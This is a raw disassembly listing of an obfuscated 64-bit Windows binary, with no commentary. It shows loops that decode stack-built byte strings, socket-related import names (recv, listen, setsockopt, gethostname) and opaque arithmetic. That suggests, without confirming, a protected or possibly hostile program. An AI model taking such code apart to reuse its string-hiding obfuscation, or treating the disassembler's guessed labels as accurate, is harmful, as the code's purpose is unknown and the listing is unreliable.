movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140091ef2
movabs rcx, 0x73be1446a4f7d980
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x140092b65
movabs rdx, 0x4895da2479045e40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092b34
movabs rcx, 0x1d6da0024d10e300
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140091ef2
movabs rcx, 0xf24565e0211d67c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140092af5
movabs rcx, 0xc71d2bbdf529ec80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x140092aad
movabs rdx, 0x9bf4f19bc9367140
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140092a6b
movabs rcx, 0x70ccb7799d42f600
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x140091ef2
movabs rcx, 0x45a47d57714f7ac0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140092a28
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140092631
movabs rcx, 0x15941d1115f9bda0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140092477
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092677
movabs rdx, 0x8a4cc4cd9af91c40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140091ef2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400926b3
movabs rcx, 0xbc573341ed38e00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140091ef2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400926e8
movabs rdx, 0x36edad564ac70940
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092af5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009271e
movabs rcx, 0x8d3e219aa2adffc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140091ef2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140092477
movabs rdx, 0xe38e95defa94f640
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140092a28
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009276f
movabs rdx, 0x4f7327346875aa60
jmp 0x1400929ec
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009278b
movabs rcx, 0xa5c39b78c05ca0e0
jmp 0x1400929c3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400927c0
movabs rdx, 0xd0ebd59aec501c20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092aad
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400927f5
movabs rdx, 0xfc140fbd18439760
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092af5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140092811
movabs rcx, 0x52648401702a8de0
jmp 0x14009296d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092415
movabs rdx, 0x7d8cbe239c1e0920
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140092b65
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092887
movabs rcx, 0x1499899b35f23880
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140091ef2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400928b3
movabs rcx, 0x6ae9fddf8dd92f00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140092b34
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400928e4
movabs rdx, 0xec62ac4611b3a0c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
jmp 0x140092aaa
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400923c7
movabs rcx, 0x178ae6683da71c00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x140091ef2
movabs rdx, 0xc42bcef0ed750900
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x7c0]
sub r11b, al
add r11b, dl
add r11b, bl
jmp 0x140092aad
movabs rdx, 0xef54091319688440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140092b31
movabs rcx, 0xf33ff9560124ece0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140092b34
movabs rcx, 0xc817bf33d53171a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140091ef2
movabs rcx, 0x469f10cd5156ffe0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x140091ef2
movabs rdx, 0xf04e9c88f9700960
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092a28
movabs rcx, 0x99fe2844a18912e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movabs rdx, 0xae97b1dfd77b4b60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x7c0], cl
inc r9
dec rdi
inc rdi
jmp 0x140091ef2
movabs rdx, 0x43adb40049a21c60
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140091ef2
movabs rdx, 0x188579de1daea120
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0xd9bfec02036ec6a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x60
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0x7c0], bl
jmp 0x140092af5
movabs rcx, 0xed5d3fbbf1bb25e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140091ef2
mov rbx, r10
movabs rdx, 0x970ccb7799d42f60
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x4e826242f6241e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x20
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x7c0], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x1a7c4335455bff80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x80
add bl, cl
mov byte [rbp + rdi + 0x7c0], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140091ef2
movabs rcx, 0x40bc573341ed38e0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140091ef2
movabs rdx, 0x35f319e06abf8420
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140091eee
movabs rcx, 0xacadfbe3ecc08e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x140091ede
lea rcx, [rbp + 0x14b6f40]
jmp 0x140092c48
lea rcx, [rbp + 0x852ce0]
jmp 0x140092c48
lea rcx, [rbp + 0x7c0]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021ab70]
lea rcx, [rbp + 0x240]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0x7e8], Ordinal_35
mov byte [rbp + 0x7e9], Ordinal_200
mov byte [rbp + 0x7ea], Ordinal_211
mov byte [rbp + 0x7eb], Ordinal_211
mov byte [rbp + 0x7ec], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ed], Ordinal_200
mov byte [rbp + 0x7ee], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ef], Ordinal_217
mov byte [rbp + 0x7f0], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x7f1], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x7f2], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7f3], Ordinal_211
mov byte [rbp + 0x7f4], Ordinal_217
mov byte [rbp + 0x7f5], 0xc9
mov byte [rbp + 0x7f6], 0xc1
mov byte [rbp + 0x7f7], 0x77
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7f8], xmm0
mov word [rbp + 0x808], ax
mov byte [rbp + 0x80a], al
movabs r14, 0xf0b929e328bee77b
movabs r15, 0xfc68154119e369e5
movabs r12, 0x163e1143d90e2f47
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0xf31501fea06a9d4f
cmp rdi, 0x23
jae 0x140093a6c
movzx ebx, byte [rbp + rdi + 0x7e8]
mov r10, rbx
cmp r8, rdi
ja 0x140093a60
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140092db4
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x29
jmp 0x140092dd4
je 0x1400939d8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009393d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400938ef
cmp r9, rdi
ja 0x140093a54
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140092e04
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5d
jmp 0x140092e52
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400938c8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009389f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140093841
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009381e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400937fa
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400937d3
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400934b6
nop
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009348e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009345d
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140093434
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009340c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400933e4
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400933b1
lea rax, [r9 + 3]
cmp r8, rax
je 0x140093389
lea rcx, [r9 + 9]
cmp r8, rcx
je 0x140093361
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009332d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140092e60
mov r8, rcx
lea r9, [rcx + 0x41]
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140093a31
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x140093a0e
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x140093041
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140093023
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x140093005
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400932cd
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140093271
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x140093225
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400931f7
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140092e60
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400931c3
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14009319b
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x140093173
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140093140
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140093118
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400930f0
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1400930c7
lea rcx, [r9 + 0x1000]
cmp r8, rcx
ja 0x140093096
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009306e
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x140092e60
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x43
add r11b, dl
jmp 0x140092e52
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xf
add r11b, dl
jmp 0x140092dd4
movabs rcx, 0x30140d469838f4a9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x61
movabs rdx, 0xf31501fea06a9d4f
jmp 0x140092d7e
movabs rdx, 0x85c94f1945f73bd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009390d
movabs rdx, 0x9f9f4b1c0522013a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140092d62
movabs rcx, 0xb975471ec44cc69c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x44
dec rdi
inc rdi
jmp 0x140092d62
movabs rdx, 0xd34b432183778bfe
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009385f
movabs rdx, 0xed213f2442a25160
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140093887
movabs rcx, 0x6f73b2701cd16c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140092d62
movabs rdx, 0x20cd3729c0f7dc24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093963
movabs rdx, 0x3aa3332c8022a186
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093994
movabs rcx, 0x54792f2f3f4d66e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
movabs rcx, 0x951025361d38545d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x75
mov byte [rbp + rdi + 0x7e8], r11b
inc rdi
jmp 0x140092d62
movabs rcx, 0xaee62138dc6319bf
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x39
cmp r9, 0x28
jb 0x140093215
movabs rcx, 0xda5ecb73ea7aad7a
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14009390d
movabs rdx, 0xc8bc1d3b9b8ddf21
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x19
add r11b, dl
cmp r8, 6
jae 0x140093786
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400936ae
movabs rcx, 0xdcbaa38f6226634e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
jmp 0x140093243
movabs rdx, 0xe292193e5ab8a483
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x1400937b1
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140093597
movabs rcx, 0xec0179ac39677bd3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3b
jmp 0x140093293
movabs rcx, 0xa456fb52f4796ce2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2e
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
movabs rdx, 0xbe2cf755b3a43244
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093994
movabs rdx, 0xd802f35872cef7a6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093963
movabs rcx, 0xf1d8ef5b31f9bd08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140092d62
movabs rdx, 0xbaeeb5df124826a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093887
movabs rdx, 0x2584e760b04f47cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009385f
movabs rcx, 0x3f5ae3636f7a0d2e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
dec rdi
inc rdi
jmp 0x140092d62
movabs rdx, 0x5930df662ea4d290
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140092d62
movabs rdx, 0x7306db68edcf97f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009390d
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400934e6
movabs rcx, 0xf31501fea06a9d4f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x29
jmp 0x1400932ef
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009352c
movabs rdx, 0xe17253c6517dcef6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140093567
movabs rdx, 0x466e6bb5d67d2eaa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140092d62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400932ef
movabs rcx, 0x12c273b05827a3e6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x14009390d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400935c7
movabs rcx, 0xd22b7da97a3cb671
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
jmp 0x14009390d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400935fd
movabs rcx, 0x9e7f85a3fbe72bad
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x45
dec rdi
inc rdi
jmp 0x140092d62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009363d
movabs rcx, 0x50fd919bbe66db87
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140092d62
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009366d
movabs rcx, 0x1d519996401150c3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x55
jmp 0x140093994
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140093293
movabs rcx, 0x37b9d9380e68b61
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x59
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400936ef
movabs rcx, 0xc2e4a78ca2fb9dec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140093720
movabs rdx, 0x8f38af8724a61328
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
jmp 0x140093960
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140093750
movabs rcx, 0x41b6bb7ee725c302
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x14009385f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140093243
movabs rcx, 0x27e0bf7c27fafda0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x140092d62
movabs rdx, 0xc088cf712b4fe818
add rdx, rdi
movzx eax, dl
and al, bl
movzx ecx, byte [rbp + rdi + 0x7e8]
sub cl, al
add cl, 0x2c
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14009385f
movabs rdx, 0xa6b2d36e6c2522b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140093960
movabs rdx, 0x220949cd2f68bc6b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x13
add r11b, dl
jmp 0x140093994
movabs rdx, 0x3bdf45cfee9381cd
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x65
jmp 0x140093960
movabs rcx, 0x6f8b3dd56ce90c91
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 9
jmp 0x140093887
movabs rcx, 0x896139d82c13d1f3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5b
movabs rdx, 0xb39dd16fcbba8567
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x2f
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x7e8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140092d62
movabs rcx, 0xa33735daeb3e9755
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x53
dec rdi
inc rdi
jmp 0x140092d62
movabs rdx, 0xd6e32de069942219
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x51
add r11b, dl
jmp 0x14009390d
movabs rcx, 0xa8f25e5e7e9acdd
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xb
movabs rcx, 0xcd73cd728ae54ac9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x7f
add bl, cl
mov byte [rbp + rdi + 0x7e8], bl
inc r9
dec rdi
inc rdi
jmp 0x140092d62
mov rbx, r10
movabs rdx, 0xa5930df662ea4d29
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1f
add r11b, dl
movabs rdx, 0x99c7d56d0c8fc005
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x23
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x7e8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x8cdcd76bacfa5d54
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x4c
add bl, cl
mov byte [rbp + rdi + 0x7e8], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
movabs rcx, 0xd93f05fbe13fd7ed
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7b
movzx eax, byte [rbp + rdi + 0x7e8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140092d62
movabs rcx, 0x49ea09495763ba0b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4d
jmp 0x140092d5e
movabs rcx, 0x63c0054c168e7f6d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 5
jmp 0x140092d42
